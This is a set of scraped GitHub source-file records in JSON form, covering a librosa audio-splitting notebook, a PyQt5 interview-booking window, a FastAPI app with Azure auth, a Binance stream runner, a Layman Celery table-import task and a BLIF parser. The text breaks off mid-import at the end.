c='r')\nplt.plot(y2, c='g')\nplt.plot(y3, c='g')\n#plt.plot(sklearn.preprocessing.minmax_scale(delta_energy2, axis=0))\n\n\n# In[183]:\n\n\ndef split_by_energy(audio):\n frames = len(audio)\n # energy per frame\n energy = librosa.pcen(audio)\n # rate of change of energy\n delta_energy = librosa.feature.delta(energy)\n # rate of change of change of energy\n delta_energy2 = librosa.feature.delta(delta_energy)\n\n s_audio = sklearn.preprocessing.minmax_scale(audio, axis=0)\n s_energy = sklearn.preprocessing.minmax_scale(energy, axis=0)\n s_d_energy = sklearn.preprocessing.minmax_scale(delta_energy, axis=0)\n s_d_2_energy = sklearn.preprocessing.minmax_scale(delta_energy2, axis=0)\n\n audio_range = np.max(s_audio) - np.min(s_audio)\n print(audio_range)\n mean = np.mean(s_audio)\n\n #print(\"scaled delta energy less than 0.5 \", np.count_nonzero( s_d_energy<0.8))\n #print(\"scaled audio less than 0.5 \", np.count_nonzero(0.45 >s_audio or s_audio> 0.55))\n\n out = []\n # blue audio\n # yellow energy\n # green de1\n # red de2\n for x in range(frames):\n if s_audio[x] > (mean+0.01) or s_audio[x] < (mean-0.01):\n if s_d_energy[x] < 0.8:\n out.append(x)\n return out\n\n\n# In[184]:\nsplits = split_by_energy(audio[19800:27060])\nprint(len(splits))\nprint(splits)\n\n# In[187]:\n##\nplt.figure(figsize=(16, 9))\nenergy = librosa.pcen(audio[19800:27060])\n# plt.plot(audio) #-0.4-0.6\nplt.plot(normalize(energy))\nplt.plot(normalize(audio[19800:27060]))\n\nfor x in split_by_energy(audio[19800:27060]):\n plt.axvline(x=x, ymin=-1, ymax=1, label=str(x), c='g')\nfor x in energy:\n if math.sqrt(x**2) < 0.02:\n plt.axvline(x=x, ymin=-1, ymax=1, label=str(x), c='r')\nplt.show()\n\n\n# In[253]:\n\n\n\n# In[ ]:\n\n\n# In[15]:\n\n\nenergy = normalize(librosa.pcen(audio))\ndelta_energy = normalize(librosa.feature.delta(energy))\ndelta_energy2 = normalize(librosa.feature.delta(delta_energy))\n\nplt.figure(figsize=(16, 9))\nplt.plot(audio[:]) # -0.4-0.6\nplt.plot(energy) # -0.4-0.6\nplt.plot(delta_energy[:]) # 0- -30\nplt.plot(delta_energy2[:]) # 0-2\nplt.show()\n\nprint(energy)\nprint(delta_energy)\n#print (min(energy))\n\n\n# In[ ]:\n\n\n\n# In[246]:\n\n\nstft = librosa.stft(e[1781:4638], hop_length=220)\nprint(stft.shape)\nspectogram = np.abs(stft)\n\nlog_spectogram = librosa.amplitude_to_db(spectogram)\nspectogram\n\nplt.figure(figsize=(21, 9))\nlibrosa.display.specshow(log_spectogram, y_axis='log')\nplt.xlabel(\"Time\")\nplt.ylabel(\"Freq\")\nplt.colorbar()\nplt.show()\n\n\n\n\n# In[153]:\n\n\nx = audio\nspectral_centroids = librosa.feature.spectral_centroid(\n audio, sr=sr, hop_length=220)[0]\nframes = range(len(spectral_centroids))\nt = librosa.frames_to_time(frames)\nspectral_bandwidth_2 = librosa.feature.spectral_bandwidth(\n x+0.01, sr=sr, hop_length=220)[0]\nspectral_bandwidth_3 = librosa.feature.spectral_bandwidth(\n x+0.01, sr=sr, p=3, hop_length=220)[0]\nspectral_bandwidth_4 = librosa.feature.spectral_bandwidth(\n x+0.01, sr=sr, p=4, hop_length=220)[0]\n#spectral_bandwidth_5 = librosa.feature.spectral_bandwidth(x+0.01, sr=sr, p=5, hop_length=220)[0]\n#spectral_bandwidth_6 = librosa.feature.spectral_bandwidth(x+0.01, sr=sr, p=6, hop_length=220)[0]\nplt.figure(figsize=(15, 12))\nlibrosa.display.waveplot(x, sr=sr, alpha=0.4)\nplt.plot(t, normalize(spectral_bandwidth_2), color='r')\nplt.plot(t, normalize(spectral_bandwidth_3), color='g')\nplt.plot(t, normalize(spectral_bandwidth_4), color='y')\n#plt.plot(t, normalize(spectral_bandwidth_5), color='b')\n#plt.plot(t, normalize(spectral_bandwidth_6), color='pink')\nplt.legend(('p = 2', 'p = 3', 'p = 4'))\n\n\n\n\ndump(EM, 'EM200tied.joblib')\n\n\n# In[148]:\n\n\na_file = open(\"test.txt\", \"w\")\nnp.savetxt(a_file, three)\na_file.close()\n\n\n# In[ ]:\n","repo_name":"Majkil/Artefact","sub_path":"pg Split audio.py","file_name":"pg Split audio.py","file_ext":"py","file_size_in_byte":8359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30446402890","text":"from PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtWidgets import QMessageBox\r\n\r\nclass Ui_MainWindow(object):\r\n def setupUiInterview(self, MainWindow):\r\n MainWindow.resize(701, 366)\r\n MainWindow.setWindowIcon(QtGui.QIcon('strava.jpg'))\r\n MainWindow.setStyleSheet(\"background-color: #DD571C;\")\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n\r\n self.frame = QtWidgets.QFrame(self.centralwidget)\r\n self.frame.setStyleSheet(\"background-color: white;\")\r\n self.frame.setGeometry(QtCore.QRect(20, 20, 661, 326))\r\n self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)\r\n self.frame.setFrameShadow(QtWidgets.QFrame.Raised)\r\n\r\n self.label = QtWidgets.QLabel(self.frame)\r\n self.label.setGeometry(QtCore.QRect(5, 5, 661, 30))\r\n self.label.setObjectName(\"label\")\r\n font = QtGui.QFont()\r\n font.setFamily(\"Arial\")\r\n font.setPointSize(16)\r\n font.setBold(True)\r\n self.label.setFont(font)\r\n self.label.setAlignment(QtCore.Qt.AlignCenter)\r\n\r\n self.line = QtWidgets.QFrame(self.frame)\r\n self.line.setGeometry(QtCore.QRect(30, 35, 601, 20))\r\n self.line.setFrameShadow(QtWidgets.QFrame.Plain)\r\n self.line.setLineWidth(4)\r\n self.line.setFrameShape(QtWidgets.QFrame.HLine)\r\n\r\n self.calendarWidget = QtWidgets.QCalendarWidget(self.frame)\r\n self.calendarWidget.setGeometry(QtCore.QRect(230, 75, 401, 221))\r\n self.calendarWidget.setStyleSheet(\"background-color: gray; border: 1px solid black;\")\r\n\r\n self.timeEdit = QtWidgets.QTimeEdit(self.frame)\r\n self.timeEdit.setGeometry(QtCore.QRect(30, 125, 161, 51))\r\n font.setBold(True)\r\n font.setFamily(\"Times New Roman\")\r\n font.setPointSize(9)\r\n self.timeEdit.setStyleSheet(\"border: 1px solid black;\")\r\n self.timeEdit.setFont(font)\r\n\r\n self.pushButton = QtWidgets.QPushButton(self.frame, clicked=self.book)\r\n self.pushButton.setGeometry(QtCore.QRect(30, 220, 161, 51))\r\n self.pushButton.setStyleSheet(\"background-color: white;\")\r\n self.pushButton.setFont(font)\r\n\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n def book(self):\r\n msg = QMessageBox()\r\n date = self.calendarWidget.selectedDate()\r\n strDate = date.toString(\"MM-dd-yyyy\")\r\n timeSelected = self.timeEdit.time()\r\n hour = timeSelected.hour()\r\n if hour == 0:\r\n hour = 12\r\n min = timeSelected.minute()\r\n if min <= 9:\r\n min = \"0\" + str(min)\r\n ampm = \"AM\"\r\n if hour > 12:\r\n ampm = \"PM\"\r\n timeSelected = str(hour) + \":\" + str(min) + \" \" + ampm\r\n msg.setIcon(QMessageBox.Information)\r\n msg.setWindowIcon(QtGui.QIcon('strava.jpg'))\r\n msg.setWindowTitle(\"Interview Booking\")\r\n msg.setText(\"Your interview date has been booked. \\n\\n Date: \" + strDate +\r\n \"\\n Time: \" + str(timeSelected))\r\n msg.exec_()\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\r\n self.pushButton.setText(_translate(\"MainWindow\", \"Submit\"))\r\n self.label.setText(_translate(\"MainWindow\", \"Select Your Interview Time\"))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n MainWindow = QtWidgets.QMainWindow()\r\n ui = Ui_MainWindow()\r\n ui.setupUiInterview(MainWindow)\r\n MainWindow.show()\r\n sys.exit(app.exec_())\r\n","repo_name":"Denise-R/dataDonation","sub_path":"dataDonation/interview.py","file_name":"interview.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30654197229","text":"\nfrom typing import Union\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom typing import Union\nfrom pydantic import AnyHttpUrl, BaseSettings, Field\nfrom fastapi_azure_auth import SingleTenantAzureAuthorizationCodeBearer\n\nclass Settings(BaseSettings):\n SECRET_KEY: str = Field('my super secret key', env='SECRET_KEY')\n BACKEND_CORS_ORIGINS: list[Union[str, AnyHttpUrl]] = ['http://localhost:8000']\n OPENAPI_CLIENT_ID: str = Field(default='', env='OPENAPI_CLIENT_ID')\n APP_CLIENT_ID: str = Field(default='', env='APP_CLIENT_ID')\n TENANT_ID: str = Field(default='', env='TENANT_ID')\n\n class Config:\n env_file = '.env'\n env_file_encoding = 'utf-8'\n case_sensitive = True\n\nsettings = Settings()\napp = FastAPI(\n swagger_ui_oauth2_redirect_url='/oauth2-redirect',\n swagger_ui_init_oauth={\n 'usePkceWithAuthorizationCodeGrant': True,\n 'clientId': settings.OPENAPI_CLIENT_ID,\n },\n)\n\nif settings.BACKEND_CORS_ORIGINS:\n app.add_middleware(\n CORSMiddleware,\n allow_origins=[str(origin) for origin in settings.BACKEND_CORS_ORIGINS],\n allow_credentials=True,\n allow_methods=['*'],\n allow_headers=['*'],\n )\n\nazure_scheme = SingleTenantAzureAuthorizationCodeBearer(\n app_client_id=settings.APP_CLIENT_ID,\n tenant_id=settings.TENANT_ID,\n scopes={\n f'api://{settings.APP_CLIENT_ID}/user_impersonation': 'user_impersonation',\n }\n)\n\n@app.on_event('startup')\nasync def load_config() -> None:\n \"\"\"\n Load OpenID config on startup.\n \"\"\"\n await azure_scheme.openid_config.load_config()\n\n@app.get(\"/\")\ndef read_root():\n return {\"Hello\": \"World\"}\n\n\n@app.get(\"/items/{item_id}\")\ndef read_item(item_id: int, q: Union[str, None] = None):\n return {\"item_id\": item_id, \"q\": q}\n","repo_name":"phoenixClairvoyant/pendatuk","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10414535098","text":"from exchanges.binance.client import SocketManager\n\ndefault_tickers = ['WTCBTC', 'NEOBTC', 'ETHBTC','BCCBTC', 'EVXBTC', 'LTCBTC',\n 'QTUMBTC', 'STRATBTC', 'OMGBTC', 'IOTABTC']\n\nif __name__ == \"__main__\":\n # Create binance socket manager and stream to mongo instance called demo.dashboard\n binance_data_stream = SocketManager(symbols=default_tickers,\n data_lib='demo.dashboard')\n binance_data_stream.stream_orderbook(write=True)","repo_name":"carpntr/cda","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"2963401787","text":"from celery.utils.log import get_task_logger\n\nimport crs as crs_def\nfrom layman.celery import AbortedException\nfrom layman.common import empty_method_returns_true\nfrom layman import celery_app, util as layman_util, settings\nfrom layman.http import LaymanError\nfrom . import table\nfrom .. import db, LAYER_TYPE\n\n\nlogger = get_task_logger(__name__)\n\nrefresh_table_needed = empty_method_returns_true\n\n\n@celery_app.task(\n name='layman.layer.db.table.refresh',\n bind=True,\n base=celery_app.AbortableTask\n)\ndef refresh_table(\n self,\n workspace,\n layername,\n crs_id=None,\n original_data_source=settings.EnumOriginalDataSource.FILE.value,\n):\n db.ensure_workspace(workspace)\n if self.is_aborted():\n raise AbortedException\n\n if original_data_source == settings.EnumOriginalDataSource.TABLE.value:\n return\n publ_info = layman_util.get_publication_info(workspace, LAYER_TYPE, layername, context={'keys': ['file']})\n file_type = publ_info['_file']['file_type']\n if file_type == settings.GEODATA_TYPE_RASTER:\n return\n if file_type != settings.GEODATA_TYPE_VECTOR:\n raise NotImplementedError(f\"Unknown file type: {file_type}\")\n\n if self.is_aborted():\n raise AbortedException\n\n main_filepaths = list(path['gdal'] for path in publ_info['_file']['paths'].values())\n assert len(main_filepaths) == 1\n main_filepath = main_filepaths[0]\n table_name = db.get_internal_table_name(workspace, layername)\n\n for try_num in [1, 2]:\n if try_num == 1:\n processes = [db.import_layer_vector_file_to_internal_table_async(workspace, table_name, main_filepath, crs_id)]\n elif try_num == 2:\n processes = db.import_layer_vector_file_to_internal_table_async_with_iconv(workspace, table_name, main_filepath, crs_id)\n process = processes[-1]\n stdout, stderr = process.communicate()\n return_code = process.poll()\n if self.is_aborted():\n logger.info(f'terminating {workspace} {layername}')\n for proc in processes:\n proc.terminate()\n logger.info(f'deleting {workspace} {layername}')\n table.delete_layer(workspace, layername)\n raise AbortedException\n if return_code != 0 or stdout or stderr:\n info = table.get_layer_info(workspace, layername)\n if not info:\n str_error = str(stderr)\n str_out = str(stdout)\n logger.error(f\"STDOUT: {str(stdout)}\")\n logger.error(f\"STDERR: {str_error}\")\n if \"ERROR: zero-length delimited identifier at or near\" in str_out:\n err_code = 28\n elif 'ERROR: invalid byte sequence for encoding \"UTF8\":' in str_out:\n continue\n else:\n err_code = 11\n raise LaymanError(err_code, private_data=str_error)\n break\n\n crs = db.get_table_crs(workspace, table_name, use_internal_srid=True)\n if crs_def.CRSDefinitions[crs].internal_srid:\n table.set_internal_table_layer_srid(workspace, table_name, crs_def.CRSDefinitions[crs].internal_srid)\n","repo_name":"LayerManager/layman","sub_path":"src/layman/layer/db/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"44"} +{"seq_id":"12295135530","text":"from datetime import datetime\nfrom yards_py.core.base_entity import BaseEntity\nfrom yards_py.domain.entities.league import League\nfrom typing import Optional\n\nfrom yards_py.core.annotate_args import annotate_args\nfrom yards_py.domain.entities.matchup_preview import MatchupPreview, MatchupPreviewTeam\nfrom yards_py.domain.entities.roster import Roster\n\n\n@annotate_args\nclass UserLeaguePreview(BaseEntity):\n user_id: str\n league_name: str\n roster_name: str\n matchup: Optional[MatchupPreview]\n joined: datetime = datetime.now()\n\n def update_league(self, league: League):\n self.league_name = league.name\n\n def update_roster(self, roster: Roster):\n self.roster_name = roster.name\n if self.matchup and self.matchup.home and self.matchup.home.id == self.id:\n self.matchup.home.name = roster.name\n\n if self.matchup and self.matchup.away and self.matchup.away.id == self.id:\n self.matchup.away.name = roster.name\n\n @staticmethod\n def create(roster: Roster, league: League):\n preview = UserLeaguePreview(\n id=league.id,\n user_id=roster.id,\n league_name=league.name,\n roster_name=roster.name,\n matchup=MatchupPreview(\n home=MatchupPreviewTeam(\n id=roster.id,\n name=roster.name\n )\n ))\n\n return preview\n","repo_name":"mdryden/110yards","sub_path":"yards_py/domain/entities/user_league_preview.py","file_name":"user_league_preview.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"17397683637","text":"from time import perf_counter\nfrom pathlib import Path\n\nfrom allensdk.brain_observatory.behavior.behavior_project_cache import (\n VisualBehaviorNeuropixelsProjectCache,\n)\nfrom pynwb import NWBHDF5IO\n\nALLEN_DIR = Path(r\"D:\\example-data\\allen-data\")\nALLEN_MANIFEST = \"visual-behavior-neuropixels_project_manifest_v0.4.0.json\"\nEXAMPLE_SESSION = 1044385384\n\n\ndef timeit(name):\n def inner(func):\n def wrapper(*args, **kwargs):\n t1 = perf_counter()\n func(*args, **kwargs)\n t2 = perf_counter()\n\n print(f\"{name} took {t2 - t1:.2f} seconds\")\n\n return wrapper\n\n return inner\n\n\n@timeit(\"Allen SDK loader\")\ndef allen_example(cache):\n return cache.get_ecephys_session(EXAMPLE_SESSION)\n\n\n@timeit(\"NWB loader\")\ndef nwb_example(nwb_path):\n nwb_io = NWBHDF5IO(nwb_path, \"r\", load_namespaces=True)\n return nwb_io.read()\n\n\ndef main(cache_is_s3=True):\n if cache_is_s3:\n cache = VisualBehaviorNeuropixelsProjectCache.from_s3_cache(cache_dir=ALLEN_DIR)\n else:\n cache = VisualBehaviorNeuropixelsProjectCache.from_local_cache(\n cache_dir=ALLEN_DIR\n )\n cache.load_manifest(ALLEN_MANIFEST)\n\n nwb_path = (\n ALLEN_DIR\n / \"visual-behavior-neuropixels-0.4.0\"\n / \"behavior_ecephys_sessions\"\n / str(EXAMPLE_SESSION)\n / f\"ecephys_session_{EXAMPLE_SESSION}.nwb\"\n )\n\n nwb_example(nwb_path)\n allen_example(cache)\n\n allen_example(cache)\n nwb_example(nwb_path)\n\n\nmain(cache_is_s3=True)\nmain(cache_is_s3=False)\n","repo_name":"seankmartin/task-related-neural-activity","sub_path":"examples/time_loading.py","file_name":"time_loading.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23749443536","text":"from typing import List, Optional\r\n\r\ntry:\r\n from . import fsm\r\n from . import subfiles\r\nexcept (ModuleNotFoundError, ImportError):\r\n import fsm # type: ignore\r\n import subfiles # type: ignore\r\n\r\n\r\nclass Model:\r\n def __init__(self, modelname: str):\r\n \"\"\"\r\n Defines a .model keyword object.\r\n\r\n Validation checks:\r\n * modelname needs to be a string\r\n * modelname needs to contain something (spaces are not accepted)\r\n \"\"\"\r\n if not isinstance(modelname, str):\r\n raise TypeError(\"'{}' is not a string\".format(modelname))\r\n\r\n self.name = modelname.strip()\r\n\r\n if \" \" in self.name or self.name == \"\":\r\n raise ValueError(\".model accepts (and needs) only one parameter (the parameter can't contain spaces)\")\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n return \"Model('\" + self.name + \"')\"\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n return \".model \" + self.name\r\n\r\n\r\nclass Inputs:\r\n def __init__(self, inputstring: str):\r\n \"\"\"\r\n Defines a .inputs keyword object.\r\n\r\n Validation checks:\r\n * inputstring needs to be a string\r\n > inputs are separated by spaces\r\n \"\"\"\r\n if not isinstance(inputstring, str):\r\n raise TypeError(\"'{}' is not a string\".format(inputstring))\r\n\r\n self.inputs = [i for i in inputstring.split(\" \") if i != \"\"]\r\n\r\n if len(self.inputs) == 0:\r\n raise ValueError(\".inputs keyword expects at least one parameter\")\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n return \"Inputs('\" + \" \".join(self.inputs) + \"')\"\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n return \".inputs \" + \" \".join(self.inputs)\r\n\r\n\r\nclass Outputs:\r\n def __init__(self, outputstring: str):\r\n \"\"\"\r\n Defines a .outputs keyword object.\r\n\r\n Validation checks:\r\n * outputstring needs to be a string\r\n > outputs are separated by spaces\r\n \"\"\"\r\n if not isinstance(outputstring, str):\r\n raise TypeError(\"'{}' is not a string\".format(outputstring))\r\n\r\n self.outputs = [i for i in outputstring.split(\" \") if i != \"\"]\r\n\r\n if len(self.outputs) == 0:\r\n raise ValueError(\".outputs keyword expects at least one parameter\")\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n return \"Outputs('\" + \" \".join(self.outputs) + \"')\"\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n return \".outputs \" + \" \".join(self.outputs)\r\n\r\n\r\nclass Names:\r\n def __init__(self, params: str, dontcare: bool):\r\n \"\"\"\r\n Defines a .names keyword object.\r\n\r\n Validation checks:\r\n * params needs to be a string\r\n > the last parameter in the string is the output\r\n * dontcare needs to be a boolean\r\n\r\n If dontcare is true, the output\r\n represents a don't care.\r\n \"\"\"\r\n if not isinstance(params, str):\r\n raise TypeError(\"'{}' is not a string\".format(params))\r\n\r\n if not isinstance(dontcare, bool):\r\n raise TypeError(\"'{}' is not a boolean\".format(dontcare))\r\n\r\n self.v_params = [param for param in params.split(\" \") if param != \"\"]\r\n\r\n if len(self.v_params) == 0:\r\n raise ValueError(\"params should contain at least one parameter\")\r\n\r\n self.truthtable: List[List[str]] = []\r\n self.is_dontcare = dontcare\r\n\r\n self.inputs = self.v_params[:-1] # get all parameters but the last one (returns [] when there's only one parameter in v_params)\r\n self.output = self.v_params[-1] # get the last parameter\r\n\r\n def is_valid(self) -> bool: # noqa: C901\r\n \"\"\"\r\n Validates data in the Names() object.\r\n\r\n Validation steps:\r\n - make sure that self.inputs is a list of strings\r\n - make sure that self.output is a string\r\n - make sure that self.is_dontcare is a boolean\r\n - make sure that self.truthtable is a list\r\n - make sure that each row of the truthtable is a list of strings with at least one string\r\n - check that each row has the expected number of elements\r\n - check that the inputs specified in each row are made of \"0\"s, \"1\"s and/or \"-\"s\r\n - check that the output specified in each row is a \"0\" or a \"1\"\r\n \"\"\"\r\n # be sure that self.inputs is a list of strings\r\n if not isinstance(self.inputs, list):\r\n raise TypeError(\"Something went wrong: self.inputs should be a list\")\r\n\r\n for el in self.inputs:\r\n if not isinstance(el, str):\r\n raise TypeError(\"Something went wrong: '{}' self.inputs element should be a string\".format(el))\r\n\r\n # be sure that self.output is a string\r\n if not isinstance(self.output, str):\r\n raise TypeError(\"Something went wrong: '{}' self.output should be a string\".format(self.output))\r\n\r\n # be sure that self.is_dontcare stays a boolean\r\n if not isinstance(self.is_dontcare, bool):\r\n raise TypeError(\"Something went wrong: '{}' self.is_dontcare is not a boolean\".format(self.is_dontcare))\r\n\r\n # validate the truth table\r\n if not isinstance(self.truthtable, list):\r\n raise TypeError(\"Something went wrong: self.truthtable should be a list\")\r\n\r\n expected_el_num = len(self.inputs) + 1\r\n\r\n for row in self.truthtable:\r\n if not isinstance(row, list):\r\n raise TypeError(\"row '{}' is not a list (under '{}')\".format(row, self.__str__()))\r\n\r\n if len(row) == 0:\r\n raise ValueError(\"the truthtable must not contain empty rows\")\r\n\r\n for el in row:\r\n if not isinstance(el, str):\r\n raise TypeError(\"'{}' element is not a string (in '{}' under '{}')\".format(el, row, self.__str__()))\r\n\r\n formatted_row = \"\".join(row[:-1]) + \" \" + row[-1]\r\n if len(row) != expected_el_num:\r\n raise ValueError(\r\n \"'{}' row should have {} inputs + 1 output: found {} instead \"\r\n \"(under '{}')\".format(\r\n formatted_row,\r\n len(self.inputs),\r\n len(row),\r\n self.__str__()\r\n )\r\n )\r\n\r\n for el in row[:-1]:\r\n if el not in [\"0\", \"1\", \"-\"]:\r\n raise ValueError(\"Found unexpected char '{}' as input in row '{}' \"\r\n \"(under '{}'), only '1', '0' and '-' \"\r\n \"are accepted\".format(el, formatted_row, self.__str__()))\r\n\r\n if row[-1] not in [\"0\", \"1\"]:\r\n raise ValueError(\"Found unexpected char '{}' as output in row '{}' \"\r\n \"(under '{}'), only '1' and '0' \"\r\n \"are accepted\".format(el, formatted_row, self.__str__()))\r\n\r\n return True\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n return \"Names('\" + \" \".join(self.inputs) + \" \" + self.output + \"', \" + str(self.is_dontcare) + \")\"\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n names = \"\"\r\n if self.is_dontcare:\r\n names = \".exdc\\n\"\r\n\r\n names += \".names \" + \" \".join(self.inputs) + \" \" + self.output\r\n\r\n if len(self.truthtable) > 0:\r\n names += \"\\n\"\r\n for row in self.truthtable:\r\n formatted_row = \"\".join(row[:-1]) + \" \" + row[-1]\r\n names += formatted_row + \"\\n\"\r\n\r\n return names\r\n\r\n\r\nclass Latch:\r\n def __init__(self, params: str): # noqa: C901\r\n \"\"\"\r\n Defines a .latch keyword object.\r\n\r\n A latch as between 2 and 5 parameters. These are all the possible combinations:\r\n - input, output\r\n - input, output, initial register value\r\n - input, output, latch type, control clock\r\n - input, output, latch type, control clock, initial register value\r\n\r\n (when specified) the latch type must be one of the following values: [\"fe\", \"re\", \"ah\", \"al\", \"as\"]\r\n (when specified) the initial register value must be one of the following values: ['0', '1', '2', '3']\r\n > note: 2 and 3 are not the actual values stored inside the register. They represent don't care (2) and unknown (3).\r\n \"\"\"\r\n if not isinstance(params, str):\r\n raise TypeError(\"'{}' is not a string\".format(params))\r\n\r\n self.v_params = [param for param in params.split(\" \") if param != \"\"]\r\n\r\n self.problems = []\r\n self.type = None\r\n self.control = None\r\n self.initval = None\r\n\r\n # set the correct attributes based on the number of parameters\r\n if len(self.v_params) < 2:\r\n raise Exception(\"You need to specify at least an input and an output\")\r\n\r\n elif len(self.v_params) == 2:\r\n self.problems.append(\r\n \"WARNING: you should specify the initial value \"\r\n \"(otherwise you'll need to set it later using the set_state command)\"\r\n )\r\n\r\n elif len(self.v_params) == 3:\r\n self.initval = self.v_params[2]\r\n\r\n elif len(self.v_params) == 4:\r\n self.type = self.v_params[2]\r\n self.control = self.v_params[3]\r\n\r\n elif len(self.v_params) == 5:\r\n self.type = self.v_params[2]\r\n self.control = self.v_params[3]\r\n self.initval = self.v_params[4]\r\n\r\n elif len(self.v_params) > 5:\r\n raise Exception(\"Too many parameters (correct usage is: .latch [ ] [])\")\r\n\r\n # set as values the parameters that must be specified\r\n self.input = self.v_params[0]\r\n self.output = self.v_params[1]\r\n\r\n # check if parameters have correct values\r\n\r\n if self.type:\r\n if self.type not in [\"fe\", \"re\", \"ah\", \"al\", \"as\"]:\r\n raise ValueError(\" should be one of these values: ['fe', 're', 'ah', 'al', 'as']\")\r\n\r\n if self.initval:\r\n if self.initval not in [\"0\", \"1\", \"2\", \"3\"]:\r\n raise ValueError(\" should be one of these values: ['0', '1', '2', '3']\")\r\n\r\n def __repr__(self) -> str:\r\n \"\"\"Object representation.\"\"\"\r\n latch = \"Latch('\" + self.input + \" \" + self.output\r\n \r\n if self.type and self.control:\r\n # .latch ...\r\n latch += \" \" + self.type + \" \" + self.control\r\n \r\n if self.initval:\r\n # .latch or\r\n # .latch \r\n latch += \" \" + self.initval\r\n\r\n latch += \"')\"\r\n return latch\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n latch = \".latch \" + self.input + \" \" + self.output\r\n\r\n if self.type and self.control:\r\n # .latch ...\r\n latch += \" \" + self.type + \" \" + self.control\r\n\r\n if self.initval:\r\n # .latch or\r\n # .latch \r\n latch += \" \" + self.initval\r\n\r\n return latch\r\n\r\n\r\nclass Blif:\r\n def __init__(self) -> None:\r\n \"\"\"\r\n Represents the parsed BLIF file.\r\n \"\"\"\r\n self.model: Optional[Model] = None\r\n self.inputs: Optional[Inputs] = None\r\n self.outputs: Optional[Outputs] = None\r\n self.fsm = fsm.Fsm()\r\n self.imports: List[subfiles.Search] = []\r\n self.subcircuits: List[subfiles.Subckt] = []\r\n self.latches: List[Latch] = []\r\n self.booleanfunctions: List[Names] = []\r\n self.problems: List[str] = []\r\n\r\n self.nkeywords = {\r\n \".model\": 0,\r\n \".inputs\": 0,\r\n \".outputs\": 0,\r\n \".search\": 0,\r\n \".subckt\": 0,\r\n \".latch\": 0,\r\n \".names\": 0,\r\n \".end\": 0,\r\n \".start_kiss\": 0,\r\n \".i\": 0,\r\n \".o\": 0,\r\n \".s\": 0,\r\n \".p\": 0,\r\n \".r\": 0,\r\n \".end_kiss\": 0,\r\n \".default_input_arrival\": 0,\r\n \".default_output_required\": 0,\r\n \".default_input_drive\": 0,\r\n \".default_output_load\": 0,\r\n \".default_max_input_load\": 0,\r\n \".latch_order\": 0,\r\n \".code\": 0,\r\n \".exdc\": 0\r\n }\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Printed string.\"\"\"\r\n blif = self.model.__str__() + \"\\n\"\r\n blif += self.inputs.__str__() + \"\\n\"\r\n blif += self.outputs.__str__() + \"\\n\"\r\n blif += \"\\n\"\r\n\r\n if self.fsm.ispresent:\r\n blif += self.fsm.__str__() + \"\\n\"\r\n else:\r\n for imported_file in self.imports:\r\n blif += imported_file.__str__() + \"\\n\"\r\n\r\n for circuit in self.subcircuits:\r\n blif += circuit.__str__() + \"\\n\"\r\n\r\n for latch in self.latches:\r\n blif += latch.__str__() + \"\\n\"\r\n\r\n for function in self.booleanfunctions:\r\n blif += function.__str__() + \"\\n\"\r\n\r\n blif += \".end\\n\"\r\n\r\n return blif\r\n","repo_name":"mario33881/blifparser","sub_path":"blifparser/keywords/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":13454,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"22575699605","text":"#!/usr/bin/env python3\n\n# Don't modify the below hack\ntry:\n from src import triangle\nexcept ModuleNotFoundError:\n import triangle\n\ndef main():\n # Call the functions from here\n\n # Call the hypotenuse function\n side1 = 3\n side2 = 4\n hypotenuse_length = triangle.hypotenuse(side1, side2)\n print(f'The hypotenuse length is {hypotenuse_length:.2f}')\n return hypotenuse_length\n\n # Call the area function\n base = 5\n height = 10\n area = triangle.area(base, height)\n print(f'The area of the triangle is {area:.2f}')\n return area\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AsparAugustus/mooc-data-analysis-with-python-2022","sub_path":"part1/part01-e20_usemodule/src/usemodule.py","file_name":"usemodule.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41432360200","text":"import os\nimport time\nfrom multiprocessing import Process\nimport numpy as 